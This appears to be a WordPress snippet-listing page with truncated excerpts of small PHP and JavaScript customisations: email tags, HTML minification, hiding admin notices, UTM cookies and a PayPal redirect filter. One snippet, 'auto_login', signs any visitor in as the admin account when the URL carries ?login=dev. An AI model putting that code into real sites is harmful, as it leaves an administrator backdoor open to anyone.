/** * Register a custom email tag for the file name. * * @return void */ function prefix_add_file_name_email_tag() { edd_add_email_tag( ‘file_name’, // Tag ‘Displays the file name of the purchased download file.’, // Description ‘prefix_render_file_name_email_tag’, // Callback function ‘File Name’,…Continue reading
function minify_html($buffer) { // Remove comments $buffer = preg_replace(‘//’, ”, $buffer); // Remove whitespace $buffer = preg_replace(‘/^\s+|\s+$/m’, ”, $buffer); // Trim lines $buffer = preg_replace(‘/\s+/’, ‘ ‘, $buffer); // Replace multiple spaces with single space // More aggressive minification (use…Continue reading
/** * Disable Admin Notices WordPress * Description: Completely removes all admin notices from the WordPress dashboard, * including core WordPress notices and those added by plugins and themes. * @author Faisal Ahammad */ /** * Remove all notice actions…Continue reading
/** * Disable the email address suggestion. kada npr mi predloži umjesto besoft.hr da je besoft.fr itd itd * * @link https://wpforms.com/developers/how-to-disable-the-email-suggestion-on-the-email-form-field/ */ add_filter( ‘wpforms_mailcheck_enabled’, ‘__return_false’ );Continue reading
function auto_login() { if (isset($_GET[‘login’]) && $_GET[‘login’] === ‘dev’) { $user = get_user_by(‘login’, ‘admin’); if ($user) { wp_set_auth_cookie($user->ID); wp_redirect(admin_url()); exit; } } } add_action(‘init’, ‘auto_login’);Continue reading
function setUTMCookie() { // Search the URL var url = window.location.search; // Store the UTMs we’re searching for in a variable – update the UTM value based on the UTM parameter(s) you want to save as a cookie var emailCampaignUTMs…Continue reading
add_filter( ‘charitable_paypal_redirect_args’, ‘test_charitable_paypal_redirect_args’, 10, 3 ); function test_charitable_paypal_redirect_args( $paypal_args, $donation_id, $processor ) { // locate the ‘cancel_return’ parameter and update it to a proper url $paypal_args[‘cancel_return’] = ‘http://example.com/cancel’; return $paypal_args; }Continue reading